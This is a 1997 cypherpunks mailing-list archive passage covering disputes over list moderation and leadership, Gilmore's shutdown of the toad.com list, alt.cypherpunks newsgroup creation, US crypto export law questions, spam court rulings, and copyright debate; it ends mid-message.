To: cypherpunks@toad.com
Subject: Re: Filling Power Vacuums
Message-ID: <m0vuWxb-000eUIC@evansville.net>
MIME-Version: 1.0
Content-Type: text/plain


> heh. perhaps "leadership" involves more than posting. perhaps there
> is a way to have "leadership" without hierarchy. perhaps "leadership"
> is not equivalent to "management". perhaps sometimes
> you win by losing, and lose by winning. perhaps water is so powerful
> because it is lower than all that which it flows around.

Could you explain the bit about having leadership w/o hierarchy.  Yes 
,if there is an informal leadership such as what Tim was refering to, 
then their is no heirarchy.  However, as soon as people get 
designated as 'leaders' or 'moderators' then one has to have heirechy 
in that no matter how the various pieces of a system are arranged, 
they have to be arranged somehow, even completely at random.

imho (which you seem to have so many of) you could spare the 
pseudo-Zen BS.

 
> <Now, of course, the message is being sent that Sandy Sandfort is in some
> <sense the de facto leader, being that he determines what traffic goes out
> <to the main list and what traffic gets bounced into the flames list. In
> <fact, I'll make a prediction: The media will see that he is the chief
> <censor and arbiter of worthiness and will increasingly contact him for the
> <Official Point of View on various items they are interested in.
> 
> timmy, why are you so upset about the media angle? why do you give the
> slightest damn what the media thinks? answer: because you want to be
> the one they call when they want to know what the cypherpunks think.
> you want them to pay attention to the cypherpunks. in short, you would
> like to have the glamor of a leader, without any of the responsibility.

I don't think he was suggesting this in the least, he is quite 
capable of defending himself.  I don't particularly like the idea of 
someone that I had no part in choosing being seen as representative 
of my views.


 
> I think you would be surprise at the realization that "leaders" exist
> in those so-called "anarchies"


Key word 'so-called'  An anarchie is usually a conceptual ideal that 
is never reached, sorta like a democracy.

> <I am resentful and suspicious of people who _do_ step into the
> <"power vacuum" to lead and control.
> <Now I grant you that Sandy's form of leadership and control is relatively
> 
> apparently in your brain, "lead" == "control"

Dosen't it though?  How else can one 'lead'.  Even if just by setting 
an example the leader is changing the follower's actions, e.g. 
controlling.  Granted the follower is volentarily submitting to this 
control, but it is control none the less.  Most other cases of hard 
leadership are not as nice.


Josh 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 13 Feb 1997 23:21:09 -0800 (PST)
To: Robert Nadra <robertn@dm.net.lb>
Subject: Re: FW: I would like to be out of your mailing list
In-Reply-To: <01BC19D7.EE75ECA0@pm2-s0.dm.net.lb>
Message-ID: <3.0.1.32.19970213231805.00650598@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:00 PM 2/13/97 +0200, you wrote:
>
>I would like to get out of your mailing list , 
>please indicate the correct procedure. Thanks. 

Send mail to cypherpunks-request on the machine sending you mail
saying "help" and you'll get instructions.  Servers include toad.com,
manifold.algebra.com or cyberpass.net.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 13 Feb 1997 23:23:55 -0800 (PST)
To: cypherpunks
Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702140723.XAA25771@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu

The Netly News Network
http://netlynews.com/

A List Goes Down In Flames
by Declan McCullagh (declan@well.com)
February 12, 1997
   
       The plan for the cypherpunks mailing list was simple. It was to be
   an online gathering place, an intellectual mosh pit, dedicated to the
   free flow of ideas and personal privacy through encryption.
   
       Of course it caught on. From its modest beginnings connecting a
   few friends who lived in Northern California, it quickly grew into one
   of the most rowdy, volatile lists on the Net: Cypherpunks typically
   piped more than 100 messages a day into the mailboxes of nearly 2,000
   subscribers. And the list became a kind of crypto-anarchist utopia.
   Populated by pseudonymous posters with names like Black Unicorn, it
   was a corner of cyberspace where PGP signatures and digital cash were
   the norm -- and there were no rules. Then yesterday came the news: The
   list was being evicted and faced imminent shutdown.
   
       In an e-mail seen 'round the Net, John Gilmore, Electronic
   Frontier Foundation cofounder and list maintainer, announced that he
   was no longer willing to provide a virtual home for the cypherpunks.
   In a post entitled "Put Up or Shut Up," he described how his efforts
   to improve the list through moderation were condemned, how technical
   problems were consuming more of his time, how pranksters had tried to
   subscribe the entire U.S. Congress to the list. How this experiment in
   crypto-anarchy had failed. He gave the cypherpunks 10 days to find new
   lodgings.
   
       "The last straw for me was seeing the reaction of the list to
   every attempt to improve it. It was to carp, to cut it down, to say
   you're doing everything wrong," Gilmore told me yesterday night. One
   of the first employees of Sun, Gilmore quit after eight years -- a
   millionaire more interested in pursuing ideas than dollars. But his
   experiment with the list has left him weary. "If everything I'm doing
   is wrong, I'm clearly not the right person to host the list," he said.
   
       "I would like to see some other structure in which the positive
   interactions on the list could continue. I'm not trying to create that
   structure anymore," he added. Instead, he would try the only true
   crypto-anarchist solution: "I'm handing it over to members to do what
   they wish with it."
   
       The cypherpunks first pierced the public's consciousness when
   Wired magazine splashed them across the cover of the second issue. The
   Whole Earth Review and the Village Voice followed soon after. The name
   "cypherpunk" came to be synonymous with a brash young breed of
   digerati who were intent on derailing the White House's encryption
   policies and conquering cyberspace. This was crypto with an attitude.
   
       Gilmore was typical of the breed. Monthly Bay Area meetings of the
   'punks were held in the offices of Cygnus, a company he started to
   provide support for the free Unix alternative, GNU.
   
       But the veteran cypherpunk came under heavy fire in November 1996,
   when a loudmouthed flamer flooded the list with flame bait and ad
   hominem attacks on various members. Finally, Gilmore, ironically, gave
   him the boot -- and incited an all-consuming debate over what the
   concept of censorship means in a forum devoted to opposing it. In a
   society of crypto-anarchists, who should make the rules? The mailing
   list melted down. By last month, it seemed, more messages complained
   about censorship than discussed crypto.
   
       Indeed, for months Gilmore seemed unable to do anything right. He
   tried moderation, which proved to be even more contentious, raising
   the question of empowering one cypherpunk to decide what was
   appropriate for others to read. One member of the group, in effect,
   would be more equal than the rest. And why would members take the time
   to write elaborate, thoughtful articles on crypto-politics if their
   treatises might not make it past the moderator's keyboard?
   
       After the expulsion, some of the longtime list denizens left
   angrily, joining the 700 subscribers who had departed since the
   controversy began. One of those was Tim C. May, a crusty former Intel
   engineer who prides himself as the organizer of the first cypherpunk
   meeting in September 1992. In an essay summarizing the reasons for his
   departure, he wrote: "The proper solution to bad speech is more
   speech, not censorship. Censorship just makes opponents of 'speech
   anarchy' happy -- it affirms their basic belief that censors are
   needed."
   
       After all, May pointed out, the list ended up on Gilmore's
   toad.com machine only by happenstance -- it almost was housed on a
   workstation at the University of California at Berkeley. Ownership of
   the computer with the database of subscribers did not mean that
   Gilmore owned the cypherpunks. "Whatever our group once was, or still
   is, is not dependent on having a particular mailing list running on
   someone's home machine... and it cannot be claimed that any person
   'owns' the cypherpunks group," May wrote.
   
       The cypherpunks have responded to Gilmore's eviction notice. List
   participants generally have halted the incessant attacks on Gilmore,
   and now the discussion has turned to how to continue this experiment
   in online anarchy -- while preventing one person from ever again
   having absolute control of the List. Within hours of Gilmore's
   announcement, posters were tossing around ideas of a distributed
   network of mailing lists that would carry the cypherpunk name, and
   other 'punks likely will migrate to the more tightly controlled
   coderpunks and cryptography lists.
   
       But for the true believers in crypto-anarchy, only one solution is
   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
   precedent... for halting distribution of Usenet newsgroups," Tim May
   wrote. That, in the end, is what defines a cypherpunk.
   
###




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 13 Feb 1997 21:33:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <0n0xNr200YUh03LuM0@andrew.cmu.edu>
Message-ID: <199702140535.XAA01683@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Blatz writes:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

I haven't seen any rmgroups for alt.cypherpunks.  Paul Bradley's
newgroup for alt.cypherpunks is nowhere to be found, but Mike Duvos'
newgroup made it onto the Net, and was reposted the next day by 
usenet@news.myriad.ml.org.

Meanwhile, Paul Bradley seems to have finally figured out newgrouping
and has created...

        alt.cypherpunks.announce
        alt.cypherpunks.social
        alt.cypherpunks.technical

and, of course...

        alt.fan.paul.bradley

The latter has been rmgrouped because it was not discussed in 
alt.config. 

I might suggest that deliberately tweeking the whiskers of the Cabal by
gratuitous newgrouping is unlikely to bode well for alt.cypherpunks. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 23:27:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <v0300780caf29c520a0a6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM -0800 2/14/97, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.

There are no import restrictions at this time. The IDEA cipher, for
example, was developed in Europe and U.S. developers can import it and put
in products.

However, once imported it becomes controlled for export again!

Also, it may be a violation of the EAR regs to deliberately seek to bypass
the export laws by arranging for foreign development of a module which is
then "dropped in" when the product is shipped outside the U.S. It may also
be illegal to include "software hooks" for crypto modules to be attached to.

Exactly how far one can go, or what it might take to trigger a government
prosecution for such actions, is unclear. The laws are not very precise,
and court precedents are lacking.

(There are many wrinkles here; you seem to have a lot of questions, which
is good. However, it is best for you to read a comprehensive article on
these issues--use a Web search engine to find the latest versions.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Thu, 13 Feb 1997 20:37:31 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702140437.XAA19547@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz <jer+@andrew.cmu.edu> wrote:

> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.
> For example, it hasn't received any messages on my news server,
> probably because the one upstream removed it. 

Seems I'm getting alt.cypherpunks.announce (empty), but not
alt.cypherpunks or any of the others that show up as newgroup'ed on
Deja News...  Are they alive and well elsewhere? 

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 13 Feb 1997 23:45:56 -0800 (PST)
To: cypherpunks
Subject: Want a job as a Crypto Researcher or Research Scientist?
Message-ID: <199702140745.XAA26571@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't vouch for any of it, and I have my doubts about any company
that decides whether you're a "Scientist" based on whether you have a
PhD, but I thought it might put a cypherpunk in a position to do some
good:

Date: Thu, 13 Feb 1997 13:30:52 -0700
From: dnne <dnne@enol.com>
Subject: CRYPTO RESEARCHER OR SCIENTIST

John,

I would greatly appreciate your recommendation.  I am trying to fill a
RESEARCHER and a RESEARCH SCIENTIST position for a leading East Coast
developer of encryption technology for the computer industry.

RESEARCHERS will work in conjunction with Research Scientists on
research projects covering all aspects of cryptography--from
algorithms, to protocols, to implementation.  RESEARCHERS also provide
technical support to software developers and to the company customers
through consulting and educational activities.

RESEARCHERS should have at least a B.S. and preferably an M.S. in
computer science, mathematics, or a closely related field. Solid
exposure to cryptography either through practical experience or within
academic pursuits is highly desirable.

RESEARCH SCIENTIST candidates should have a Ph.D. or equivalent
research experience in cryptography.

This company provides a very competitive compensation and benefits
package as well as company paid relocation benefits.

Thanks,

Dan Barrus
Senior Technical Recruiter
Cutting Edge Technologies
Voice:  800-881-7212
Fax:  801-373-3024





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin Hoogheem <khooghee@marys.smumn.edu>
Date: Thu, 13 Feb 1997 21:45:00 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Cypherpunks Mailing List
Message-ID: <9702140550.AA04189@marys.smumn.edu>
MIME-Version: 1.0
Content-Type: text/plain


GET ME off this list!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 23:49:25 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <3.0.1.32.19970213235356.0279f13c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:20 AM 2/14/97 -0800, anand abhyankar wrote:
>1) is it illegal to develop an encryption tool (s/w) in the US which
>uses > 40 bit size session keys and then export that s/w outside of the
>US.

Yes, that's illegal, unless you get permission for the export. Getting
permission requires jumping through many hoops, and is far from a sure thing.
(It's easier to count on not getting permission. You almost certainly won't
get permission if you want to use >40 bits and you're not going to force your
customers to share their keys with the government.) 

Consequently, the US is a bad place to write crypto software if you want to
make it available worldwide. 

>2) is it illegal to encrypt some data inside the us with a key > 40 bit
>in size and then send that data outside the US.

Data which may be exported as plaintext may be exported as ciphertext. Data
which may not be exported as plaintext may not be exported as ciphertext. But
in the latter case, it's harder to catch you. :) 


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Version: 4.5

iQEVAgUBMwQZ6f37pMWUJFlhAQFbUAf/SWehrYRT4wGzPUNTDvF5wQEOBiuq0cZu
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ZvrbIb6UXLxdkz0xTBjGShjfAwGsegJDb9lb83Ha4UaXBAJSV/KdK2Hr7QFJwd5p
gSokXHH8VUb/EF5am/5PvQc0rvXsgHeAx2k77wKNclodVy3E62ymaOt/wf/FIPXW
ZLo9h18b5TtyRqpmqBHvG8h/YVq6edMFf7zcBmPgw1yzh9/LSH3+M7uhJ0JceT6d
fTT6jQUz3+dKDa7rs0s6Kf+X/e10Y0AeJ+kVQgsqsfPqRpFsUjvyLw==
=a1sX
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 22:00:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702140607.AAA05538@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 15:42:48 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)

> I disagree strongly that a controversial or legally troublesome list (or
> other data stream) should be closely associated with a business.

No. IS the business.

> (Also, what is the "right" thing to do where a particular exercise of free
> speech looks like it has serious potential to harm the business, thereby
> harming or eliminating the list which makes the speech possible? Isn't
> every choice a person could make in such a situation reducible to
> "censorship"?)

Get somebody else to do the marketing, your current promoter is incompitent.
I don't think I can accept "personal choice" == "censorship". To my mind
personal choice is a decision I make based on my wants and needs. Cencorship
is a decision about my want and needs made by somebody else. Distinction is
pretty clear to me.

> Every "forum" for free speech occurs exists in the context of economic and
> political relationships - and there will always be some message which
> threatens (to some degree) the stability of those relationships, and by
> implication, the forum itself. Unless we can eliminate economics and
> politics (ha, ha) I think that will always be the case - and there will
> always be some messages which raise "conflict of interest" problems. But
> some forums rest on less stable relationships (like, for example, most
> small businesses) and are more easily threatened by difficult messages.

Everthing exists in a context of economic and political relationship, and
religous ones, and intellectual ones, and historic ones, and cultural ones,
and sexual ones, etc.  Life is inherently unstable, what makes anyone
believe that ANY forum is not under constant threat of extinction? If from
nothing else sheer boredom.

Life ain't that simple.

If there were no "conflict of interest" problems we wouldn't have our
interests in the first place. Also, why do you believe that conflict doesn't
have a market as well?

> It's much easier to disrupt the income stream of a small business than to
> disrupt the income stream from a portfolio of investments or savings.

Depends on where that income stream comes from.

> But
> even a system whose upkeep was funded by something as unremarkable as
> interest on a savings account or a CD would still theoretically be
> "conflicted" were someone to use the system to propose or carry out a
> scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
> loot various savings & loans. 

Would one of the persons be a owner?

> The threat(s) to systems providing transport/storage for controversial
> messages are not limited to liability after a judgement; it is becoming
> more common for civil plaintiffs to seek (and get) discovery of the actual
> hardware owned and used by defendants, in order to look through the storage
> media for discoverable information, including "deleted" files. The tactics
> the Co$ used against its critics were shocking but also legal (modulo some
> irregularities). It's certainly not unimaginable that similar tactics would
> be used against a remailer or majordomo operator were the list to pass
> traffic that someone didn't like. And if a computer system is the target of
> a search warrant in the criminal arena, you'll be lucky if you get to keep
> your electronic alarm clocks after the search. Count on everything with a
> chip in it going away in the police van.

Irrelevant. Whether the system were private or business would make no
difference to the warrant. The question is,

"Since I run a system on the Internet and may become involved through no fault
of my own with legal difficulties because of my activities how do I pay for
the legal bills and various other consequences?"

Another question affecting financing is,

"Whether I am doing this for fun or business the cost will be the same. From
a effort and resources perspective, including the realities of the tax code
and cash flow, which is in my best interest?"

I would also offer that it isn't in the best interest of any party to shut a
Internet site of some report down. Consider the cypherpunks mailing list.
Assume for a moment that the remailer was to mysteriously disappear tonite
at midnite. If Sandy or somebody didn't put something up within a day or two
entirely too many people would start asking "whaz up?" The most successful
strategy would be to impose some sort of continous drain on the business
until it seemed to fold of natural causes. I contend that a business will
hold out much longer than most individuals will.

> Most businesses don't want to expose themselves to the threat of civil or
> criminal seizure or discovery, especially not at random times and for
> non-business reasons.

Exactly! It isn't a weakness, it's a strength.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 11:19:25 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: N.Y. judge rules for Planned Parenthood in web site case
Message-ID: <199702140049.AAA00318@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


*** N.Y. judge rules for Planned Parenthood in web site case

A federal judge has temporarily stopped an abortion foe from
identifying his web site as belonging to Planned Parenthood and
selling an anti-abortion book from that home page. The temporary
restraining order, issued Wednesday, stops Richard Bucci from
identifying his home page as "Planned Parenthood's Home Page" and
using "plannedparenthood.com" as a domain name. Planned Parenthood,
which has its own web site, sued Bucci for trademark infringement. The
next hearing is slated for Feb. 20. For the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 13 Feb 1997 11:19:18 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: CompuServe reports e-mail court victory
Message-ID: <199702140050.AAA00329@fountainhead.net>
MIME-Version: 1.0
Content-Type: text


*** CompuServe reports e-mail court victory

CompuServe, after winning a court decision making unauthorized junk
e-mail illegal, responded Thursday to a report that Cyber Promotions,
Inc., a commercial mass e-mailer, would not accept a federal court's
halting of its spamming activities directed against CompuServe
subscribers. Cyber Promotions indicated that it would appeal the
decision, which follows the settlement of a similar suit. That
settlement allows Cyber Promotions to send junk e-mail to another
Internet service provider's members. CompuServe said its goal "was to
see this through to a binding court decision." For the full text
story, see http://www.merc.com/stories/cgi/story.cgi?id=1425511-f29

-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Fri, 14 Feb 1997 01:08:11 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702131535.JAA20917@manifold.algebra.com>
Message-ID: <m2hgjfn4ek.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> [...] 
> Given that _political_ discussions of crypto are now encouraged in
> _talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
> political and social essays dealing with crypto anarchy, offshore
> databases, undermining governments, etc., will be welcome in the "comp"
> hierarchy?
> 
> I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
> approved, those who dislike crypto anarchy and sociopolitical chatter will
> use the "comp" name to try to suppress such discussions.
> [...]

I think that the statement of our desire to create a new group
should clearly indicate that the discussion
group is of a special nature due to the tight integration of
technical and political discussions. Cypherpunks are trying to achieve 
political goals through technological means, so it is difficult, and
not regarded as desirable to produce a false dichotomy for discussions. 
As an example, we could cite the Linux newsgroups like comp.os.linux.misc. 
Linux is a piece of software written
to help achieve a political goal, and, thus, in the Linux groups
it is not considered off-topic to philosophize about
these goals or the future as and after Linux knocks Microsoft out of
the market. :)

talk.politics.crypto and sci.crypt can, then, easily be argued 
against since the discussions there are much more 
restricted than what we desire.

> [...] You really think whoever is spamming the list with ASCII art and
> broke into Paul's account to post hundreds of "John Gilmore is a
> cocksucker" posts will back off because of the "dedication" of some? To the
> perverse personality, this is merely a greater challenge and temptation.
> [...] 
 
Given that you have been on the list a great deal longer than
I, I do respect that you may have deeper insights into the
mind of the "perverse personality" than I do. I, however, am
not aware of evidence that the person or persons behind the
disruptions since the middle of last year would try to interrupt
a democratic USENET creation vote. My recollection of the
history is that the initial attacks were directed at you personally.
Dr. Vulis was blamed for them and thus, apparently, became
the target of nasty e-mailings to his site. He responded to
this by spamming the list with rather large articles
on Armenian war crimes and forwardings of the messages. At that point 
Gilmore booted Vulis.
Gilmore then became a target of attack and, it seems
that many (presumably) innocent bystanders were unwittingly
subscribed to the list in an effort to cause more
work, and, hence, annoyance to Gilmore when they complained
about the unwanted mail. At this point many new personalities
seemed to materialize out of nowhere bent on doing
nothing more than fueling flame wars. Then the "moderation 
experiment" (fiasco)... I do not see in this evidence, however, that
any of the disruptors would target the process of the
creating a new group USENET group. At first, the
the disruptor could easily have rationalized that anonymous, personal
attacks were fair play, since anarachists favour no explicit rules
with regards to speech. After Vulis was removed by Gilmore
the disruptor could then rationalize that "anything goes" since
list had then passed from a state of anarchy to one with
Gilmore trying to decide who could or not be on the list.
(I do not think that these conjectued rationalizations are valid
myself, but am just trying to give an my thoughts on the
psychology of the "perverse personality".)

USENET nesgroup creation is whole new ball game, however.
There are explicitly defined rules and the process
is intended to be democratic. If my guess as to the identity of the 
person masterminding the  attacks is correct, that person seems to have
democratic sympathies or, at least, be strongly opposed to even
hints of censorship, so I do not think he would attempt
to disrupt the process of deciding if a new group
is created or not since that would both be inferring
in a democratic process and an attempt to prevent
a group of people from creating a discussion group, and thus, himself,
becoming a censor.  (This makes me think that given that the process is 
intended to be democratic, it may be more fitting that
a more anarchisticly method is used to create
an "alt.*" group for cyphepunks than the democratic one
used to create a "comp.*" one.)

In any case, if you have deeper insights than mine into the mind of
the disruptor, or evidence that he or she or them would
try to disrupt a comp.* newsgroup creation proces, I
would be eager to hear them.

Leonard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Philipp <adam@rosa.com>
Date: Fri, 14 Feb 1997 01:15:14 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
In-Reply-To: <199702140711.XAA25330@toad.com>
Message-ID: <3.0.1.32.19970214011504.009d2a80@mail.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:51 AM 2/14/97 -0800, anand abhyankar wrote:
>Jeremiah A Blatz wrote:
>
>thanx for ur answer but then i have another question.
>
>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....
>

Not under US law... 

-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 23:04:05 -0800 (PST)
To: anand@querisoft.com
Subject: Re: crypto restrictions
In-Reply-To: <330466AB.3D19@querisoft.com>
Message-ID: <0n10s6200YUh03LuA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

anand abhyankar <anand@querisoft.com> writes:
> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

It's legal in the US, but other countries have export restrictions,
too. They're usually pretty hard to find out about, especially
considering that the people who passed the laws don't have a clue what
the law means.

Your best place to check is the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
The disclamer states that the findings may not be "exaustive or
legally reliable," and given the opacity of crypto laws, you'd better
belive it. That said, it is an excellent resource.

cypherpunks newbie patrol,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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KxMOtZzLwvCUSJEYY8q9PZ5lY4NIDcyQ
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 13 Feb 1997 23:46:45 -0800 (PST)
To: pete@ubisg.com (Pete Capelli)
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702131540.HAA04218@toad.com>
Message-ID: <199702140805.CAA00592@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Pete:
> 	Yes, but why does monetary compensation make it then O.K.?  I'd rather
> pay for my Internet access, then be bombarded by spam, no matter what
> they paid me!  I think the best soln. is the one that is currently in
> place for phone calls - they can call once, but if I tell them not to
> call me again and they do, I can then begin legal action against them. 
> I pay more per month for my phone service than my Internet service (
> although in NY, *everything* is more expensive. ), and junk phone calls
> are way more intrusive then spam.

	I figure if this scheme comes to fruition, I'll just set up a seperate
account (or procmail) to filter out the spam, deposit the coin, and go on
about my business.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Fri, 14 Feb 1997 00:00:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702140807.CAA05644@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 02:08:21 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Private property & the cypherpunks list(s)


> Jim Choate wrote:
> 
> > Please explain how making submissions de facto public domain censors
> > anyone?
> 
> What the fuck is "de facto public domain"? It's public domain, or it's
> not. 

The same thing as the current 'de facto copyright'. It's copyrighted or it's
not. What's your point here?

> Your scheme imposes a cost (loss of intellectual property rights)
> against authors who would like to make themselves heard.

I am taking intellectual property rights from nobody. If anything I am
giving unlimited intellectual rights to the material to humankind for
posterity. Sorta cypherpunkish, don't you think?

> It also
> prevents a certain class of messages (those messages whose status is
> "copyright claimed") from being distributed.

Completely untrue. What it does is say "anything published which does not
explicity have a copyright related statement on it is public domain". If you
want to keep rights to it, that is fine. Just tell 'em that up front. The
actual cost to those of us who feel that statements made in such a forum as
this are inherently intended for the betterment of mankind, and therefore
a priori copyright is not in the best interest of distribution of those
ideas, is no different than the cost under defacto copyright to use fair
use headers for public domain material.

I believe that such an approach would be economicaly helpful as well. It
would provide a market for collecting, organizing, and distributing the
content of such material for wider distribution. Under the current standard
a small business which wanted to connect to the network, archive the
material, catalog it, package it, and distribute it would technicaly have to
